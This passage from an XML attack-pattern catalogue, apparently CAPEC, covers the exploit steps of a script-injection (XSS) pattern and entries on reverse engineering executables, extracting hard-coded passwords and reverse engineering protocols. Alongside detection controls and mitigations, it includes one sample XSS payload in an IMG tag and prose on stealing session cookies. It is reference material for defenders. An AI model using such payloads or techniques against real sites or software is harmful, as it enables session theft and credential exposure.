										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Steal session IDs, credentials, page
											content, etc.</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>As the attacker succeeds in exploiting the
												vulnerability, he can choose to steal user's
												credentials in order to reuse or to analyze them
												later on.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Develop malicious JavaScript that is
												injected through vectors identified during the
												Experiment Phase and loaded by the victim's
												browser and sends document information to the
												attacker.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Develop malicious JavaScript that injected
												through vectors identified during the Experiment
												Phase and takes commands from an attacker's server
												and then causes the browser to execute
												appropriately.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker gets the user's
												cookies or other session
												identifiers.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Success">
												<Outcome_Description>The attacker gets the content
												of the page the user is
												viewing.</Outcome_Description>
											</Outcome>
											<Outcome ID="3" type="Success">
												<Outcome_Description>The attacker causes the user's
												browser to visit a page with malicious
												content.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor server logs
												for scripting
												parameters.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Monitor server logs
												for referrers. If users are being tricked into
												clicking XSS links through forums or other web
												postings, their web browsers will be providing
												Referrer headers most of the time. These can help
												indicate that the actual request is
												illegitimate.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Apply appropriate
												input validation to filter all user-controllable
												input of scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Appropriately encode
												all browser output to avoid scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="5" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be generating XSS
												probes.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Forceful browsing</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>When the attacker targets the current application
												or another one (through CSRF vulnerabilities), the
												user will then be the one who perform the attacks
												without being aware of it. These attacks are mostly
												targeting application logic flaws, but it can also
												be used to create a widespread attack against a
												particular website on the user's current network
												(Internet or not).</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Develop malicious JavaScript that is
												injected through vectors identified during the
												Experiment Phase and loaded by the victim's
												browser and performs actions on the same web
												site</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Develop malicious JavaScript that injected
												through vectors identified during the Experiment
												Phase and takes commands from an attacker's server
												and then causes the browser to execute request to
												other web sites (especially the web applications
												that have CSRF vulnerabilities).</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker indirectly
												controls the user's browser and makes it
												performing actions exploiting
												CSRF.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Success">
												<Outcome_Description>The attacker manipulates the
												browser through the steps that he designed in his
												attack. The user, identified on a website, is now
												performing actions he is not aware
												of.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor server logs
												for scripting
												parameters.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Monitor server logs
												for referrers. If users are being tricked into
												clicking XSS links through forums or other web
												postings, their web browsers will be providing
												Referrer headers most of the time. These can help
												indicate that the actual request is
												illegitimate.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Apply appropriate
												input validation to filter all user-controllable
												input of scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Appropriately encode
												all browser output to avoid scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="5" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be generating XSS
												probes.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Title>Content spoofing</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>By manipulating the content, the attacker targets
												the information that the user would like to get from
												the website.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Develop malicious JavaScript that is
												injected through vectors identified during the
												Experiment Phase and loaded by the victim's
												browser and exposes attacker-modified invalid
												information to the user on the current web
												page.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The user sees a page containing
												wrong information</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor server logs
												for scripting
												parameters.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Monitor server logs
												for referrers. If users are being tricked into
												clicking XSS links through forums or other web
												postings, their web browsers will be providing
												Referrer headers most of the time. These can help
												indicate that the actual request is
												illegitimate.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Apply appropriate
												input validation to filter all user-controllable
												input of scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Appropriately encode
												all browser output to avoid scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="5" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be generating XSS
												probes.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Target software must be able to execute scripts, and also allow attacker
						to write/upload script</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
				<Method_of_Attack>API Abuse</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Ajax applications enable rich functionality for browser based web
							applications. Applications like Google Maps deliver unprecedented
							ability to zoom in and out, scroll graphics, and change grapic
							presentation through Ajax. The security issues that an attacker may
							exploit in this instance are the relative lack of security features in
							Javascript and the various browser's implementation of Javascript, these
							security gaps are what XSS and a host of other client side
							vulnerabilities are based on. While Ajax may not open up new security
							holes, per se, due to the conversational aspects between client and
							server of Ajax communication, attacks can be optimized. A single zoom in
							or zoom out on a graphic in an Ajax application may round trip to the
							server dozens of times. One of the first steps many attackers take is
							frequently footprinting an environment, this can include scanning local
							addresses like 192.*.*.* IP addresses, checking local directories,
							files, and settings for known vulnerabilities, and so on.</Text>
						<Text>&lt;IMG SRC=javascript:alert('XSS')&gt;</Text>
						<Text>The XSS script that is embeded in a given IMG tag can be manipulated
							to probe a different address on every click of the mouse or other
							motions that the Ajax application is aware of.</Text>
						<Text>In addition the enumerations allow for the attacker to nest sequential
							logic in the attacks. While Ajax applications do not open up brand new
							attack vectors, the existing attack vectors are more than adequate to
							execute attacks, and now these attacks can be optimized to sequentially
							execute and enumerate host environments.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>To load malicious script into open, e.g. world writable
							directory</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Executing remote scripts on host and collecting output</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>Ability to deploy a custom script on host</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Use browser technologies that do not allow client side
						scripting.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Design: Utilize strict type, character, and encoding enforcement</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Design: Server side developers should not proxy content via XHR or other
						means, if a http proxy for remote content is setup on the server side, the
						client's browser has no way of discerning where the data is originating
						from.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Ensure all content that is delivered to client is
						sanitized against an acceptable content specification.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Perform input validation for all remote content.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Perform output validation for all remote content.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Disable scripting languages such as Javascript in
						browser</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Session tokens for specific host</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Patching software. There are many attack vectors for XSS
						on the client side and the server side. Many vulnerabilities are fixed in
						service packs for browser, web servers, and plug in technologies, staying
						current on patch release that deal with XSS countermeasures mitigates
						this.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Privileges are constrained, if a script is loaded, ensure
						system runs in chroot jail or other limited authority mode</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>Malicious input delivered through standard script page, e.g. ASP web
					page</Text>
			</Injection_Vector>
			<Payload>
				<Text>Varies with instantiation of attack pattern. MAy contain network probe or
					attacks that run against or on host using host account permissions</Text>
			</Payload>
			<Activation_Zone>
				<Text>Web server scripting host</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>Enables attacker to execute scripts on remote host</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>79<!--Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>276<!--Incorrect Default Permissions--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>279<!--Incorrect Execution-Assigned Permissions--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>284<!--Access Control (Authorization) Issues--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>692<!--Incomplete Blacklist to Cross-Site Scripting--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>697<!--Insufficient Comparison--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>713<!--OWASP Top Ten 2007 Category A2 - Injection Flaws--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>71<!--Apple '.DS_Store'--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>PeerOf</Relationship_Nature>
					<Relationship_Target_ID>18<!--Embedding Scripts in Nonscript Elements--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>242<!--Script Injection--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>341<!--WASC Threat Classification 2.0 - WASC-08 - Cross-Site Scripting--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Penetration</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>Medium</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-01-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Gunnar Peterson</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-28</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-09</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in ADescription
							and Related Attack Patterns</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Romain Gaucher</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2009-02-10</Modification_Date>
						<Modification_Comment>Created draft content for detailed
							description</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital Federal, Inc</Modifier_Organization>
						<Modification_Date>2009-04-13</Modification_Date>
						<Modification_Comment>Reviewed and revised content for detailed
							description</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="190"
			Name="Reverse Engineer an Executable to Expose Assumed Hidden Functionality or Content"
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker analyzes a binary file or executable for the purpose of
						discovering the structure, function, and possibly source-code of the file by
						using a variety of analysis techniques to effectively determine how the
						software functions and operates. This type of analysis is also referred to
						as Reverse Code Engineering, as techniques exist for extracting source code
						from an executable.</Text>
					<Text>Several techniques are often employed for this purpose, both black box and
						white box. The use of computer bus analyzers and packet sniffers allows the
						binary to be studied at a level of interactions with its computing
						environment, such as a host OS, interprocess communication, and/or network
						communication. This type of analysis falls into the 'black box' category
						because it involves behavioral analysis of the software without reference to
						source code, object code, or protocol specifications.</Text>
					<Text>White box analysis techniques include file or binary analysis, debugging,
						disassembly, and decompilation, and generally fall into categories referred
						to as 'static' and 'dynamic' analysis. Static analysis encompasses methods
						which analyze the binary, or extract its source code or object code without
						executing the program. Dynamic analysis involves analyzing the program
						during execution.</Text>
					<Text>Some forms of file analysis tools allow the executable itself to be
						analyzed, the most basic of which can analyze features of the binary, such
						as the strings contained within the file. More sophisticated forms of static
						analysis analyze the binary file and extract assembly code, and possibly
						source code representations, from analyzing the structure of the file
						itself. Dynamic analysis tools execute the binary file and monitor its in
						memory footprint, revealing its execution flow, memory usage, register
						values, and machine instructions. This type of analysis is most effective
						for analyzing the execution of binary files whose content has been
						obfuscated or encrypted in its native executable form.</Text>
					<Text>Debuggers allow the program's execution to be monitored, and depending
						upon the debugger's sophistication may show relevant source code for each
						step in execution, or may display and allow interactions with memory,
						variables, or values generated by the program during run-time operations.
						Disassemblers operate in reverse of assemblers, allowing assembly code to be
						extracted from a program as it executes machine code instructions.
						Disassemblers allow low-level interactions with the program as it executes,
						such as manipulating the program's run time operations. Decompilers can be
						utilized to analyze a binary file and extract source code from the compiled
						executable. Collectively, the tools and methods described are those commonly
						applied to a binary executable file and provide means for reverse
						engineering the file by revealing the hidden functions of its operation or
						composition.</Text>
				</Summary>
			</Description>
			<Typical_Severity>Low</Typical_Severity>
			<Resources_Required>
				<Text>Access to the target file such that it can be analyzed with the appropriate
					tools. A range of tools suitable for analyzing an executable or its
					operations</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>798<!--Use of Hard-coded Credentials--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>259<!--Use of Hard-coded Password--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>189<!--Software Reverse Engineering--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>175<!--Code Inclusion--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Description>
						<Text>http://en.wikipedia.org/wiki/Decompiler</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>http://en.wikipedia.org/wiki/Debugger</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>http://en.wikipedia.org/wiki/Dissassember</Text>
					</Reference_Description>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="191" Name="Read Sensitive Strings Within an Executable"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker engages in activities to discover any sensitive strings are
						present within the compiled code of an executable, such as literal ASCII
						strings within the file itself, or possibly strings hard-coded into
						particular routines that can be revealed by code refactoring methods
						including static and dynamic analysis.</Text>
					<Text>One specific example of a sensitive string is a hard-coded password.
						Typical examples of software with hard-coded passwords include server-side
						executables which may check for a hard-coded password or key during a user's
						authentication with the server. Hard-coded passwords can also be present in
						client-side executables which utilize the password or key when connecting to
						either a remote component, such as a database server, licensing server, or
						otherwise, or a processes on the same host that expects a key or
						password.</Text>
					<Text>When analyzing an executable the attacker may search for the presence of
						such strings by analyzing the byte-code of the file itself. Example
						utilities for revealing strings within a file include 'strings,' 'grep,' or
						other variants of these programs depending upon the type of operating system
						used. These programs can be used to dump any ASCII or UNICODE strings
						contained within a program. Strings can also be searched for using a hex
						editors by loading the binary or object code file and utilizing native
						search functions such as regular expressions.</Text>
					<Text>More sophisticated methods of searching for sensitve strings within a file
						involve dissassembly or decompiling of the file. One could, for example,
						utilize dissassembly methods on a ISAPI executable or dll to discover a
						hard-coded password within the code as it executes. This type of analysis
						usually involves four stages in which first a debugger is attached to the
						running process, anti-debugging countermeasures are circumvented or
						bypassed, the program is analyzed step-by-step, and breakpoints are
						established so that discrete functions and data structures can be
						analyzed.</Text>
					<Text>Debugging tools such as SoftICE, Ollydbg, or vendor supplied debugging
						tools are often used. Dissassembly tools such as IDA pro, or similar tools,
						can also be employed. A third strategy for accessing sensitive strings
						within a binary involves the decompilation of the file itself into source
						code that reveals the strings. An example of this type of analysis involves
						extracting source code from a java JAR file and then using functionality
						within a java IDE to search the source code for sensitive, hard-coded
						information. In performing this analysis native java tools, such as "jar"
						are used to extract the compiled class files. Next, a java decompiler such
						as "DJ" is used to extract java source code from the compiled classes,
						revealing source code. Finally, the source code is audited to reveal
						sensitive information, a step that is usually assisted by source code
						analysis programs.</Text>
				</Summary>
			</Description>
			<Typical_Severity>Low</Typical_Severity>
			<Resources_Required>
				<Text>Access to a binary or executable such that it can be analyzed by various
					utilities. Binary analysis programs such as 'strings' or 'grep', or hex editors.
					Decompilers such as "DJ" for java, or decompilers designed for specific
					languages. Debugging programs such as ollydbg, SoftICE, or dissassemblers such
					as IDA Pro.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>798<!--Use of Hard-coded Credentials--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>259<!--Use of Hard-coded Password--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>190<!--Reverse Engineer an Executable to Expose Assumed Hidden Functionality or Content--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Description>
						<Text>http://en.wikipedia.org/wiki/Decompiler</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>http://en.wikipedia.org/wiki/Debugger</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>http://en.wikipedia.org/wiki/Dissassember</Text>
					</Reference_Description>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="192" Name="Protocol Reverse Engineering" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker engages in activities to decipher and/or decode protocol
						information for a network or application communication protocol used for
						transmitting information between interconnected nodes or systems on a
						packet-switched data network. While this type of analysis inherently
						involves the analysis of a networking protocol, it does not require the
						presence of an actual or physical network. Although certain techniques for
						protocol analysis benefit from manipulating live 'on-the-wire' interactions
						between communicating components, static or dynamic analysis techniques
						applied to executables as well as to device drivers such as network
						interface drivers, can also be used to reveal the function and
						characteristics of a communication protocol implementation.</Text>
					<Text>Depending upon the methods used, protocol reverse engineering can involve
						similar methods as those employed when reverse engineering an executable, or
						the process may involve observing, interacting, and modifying actual
						communications occurring between hosts. The goal of protocol reverse
						engineering is to derive the data transmission syntax, as well as to extract
						the meaningful content, including packet or content delimiters used by the
						protocol. This type of analysis is often performed on closed-specification
						protocols, or proprietary protocols, but is also useful for analyzing
						publicly available specifications to determine how particular
						implementations deviate from published specifications.</Text>
					<Text>There are several challenges inherent to protocol reverse engineering
						depending upon the nature of the protocol being analyzed. There may also be
						other types of factors which complicate the process such as encryption or ad
						hoc obfuscation of the protocol. In general there are two kinds of
						networking protocols, each associated with its own challenges and analysis
						approaches or methodologies. Some protocols are human-readable, which is to
						say they are text-based protocols. Examples of these types of protocols
						include HTTP, SMTP, and SOAP. Additionally, application-layer protocols can
						be embedded or encapsulated within human-readable protocols in the data
						portion of the packet. Typically, human-readable protocol implementations
						are susceptible to automatic decoding by the appropriate tools, such as
						Wireshark/ethereal, tcpdump, or similar protocol sniffers or
						analyzers.</Text>
					<Text>The presence of well-known protocol specifications in addition to easily
						identified protocol delimiters, such as Carriage Return or Line Feed
						characters (CRLF) result in text-based protocols susceptibility to direct
						scrutiny through manual processes. Protocol reverse engineering against
						protocol implementation such as HTTP is often performed to identify
						idiosyncratic implementations of a protocol by a server or client. In the
						case of application-layer protocols which are embedded within text-based
						protocols, analysis techniques typically benefit from the well-known nature
						of the encapsulating protocols and can focus on discovering the semantic
						characteristics of the proprietary protocol or API, since the syntax and
						protocol delimiters of the underlying protocols can be readily
						identified.</Text>
					<Text>When performing protocol analysis of machine-readable (non text-based)
						protocols difficulties emerge as the protocol itself was designed to be read
						by computing process. Such protocols are typically composed entirely in
						binary with no apparent syntax, grammar, or structural boundaries. Examples
						of these types of protocols are IP, UDP, and TCP. Binary protocols with
						published specifications can be automatically decoded by protocol analyzers,
						but in the case of proprietary, closed-specification, binary protocols there
						are no immediate indicators of packet syntax such as packet boundaries,
						delimiters, or structure, or the presence or absence of encryption or
						obfuscation. In these cases there is no one technology that can extract or
						reveal the structure of the packet on the wire, so it is necessary to use
						trial and error approaches while observing application behavior based on
						systematic mutations introduced at the packet-level. Tools such as Protocol
						Debug (PDB) or other packet injection suites are often employed. In cases
						where the binary executable is available, protocol analysis can be augmented
						with static and dynamic analysis techniques.</Text>
				</Summary>
			</Description>
			<Typical_Severity>Low</Typical_Severity>
			<Resources_Required>
				<Text>Access to a binary executable such that it can be analyzed using static and/or
					dynamic tools, or the ability to observe and interact with a communication
					channel between communicating processes. Debugging programs such as ollydbg,
					SoftICE, or dissassemblers such as IDA Pro. Packet sniffing or packet analyzing
					programs such as TCP dump, Wireshark. Specific protocol analysis tools such as
					PDB (Protocol Debug). Packet injection tools such as pcap or Nemesis.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>798<!--Use of Hard-coded Credentials--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>259<!--Use of Hard-coded Password--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
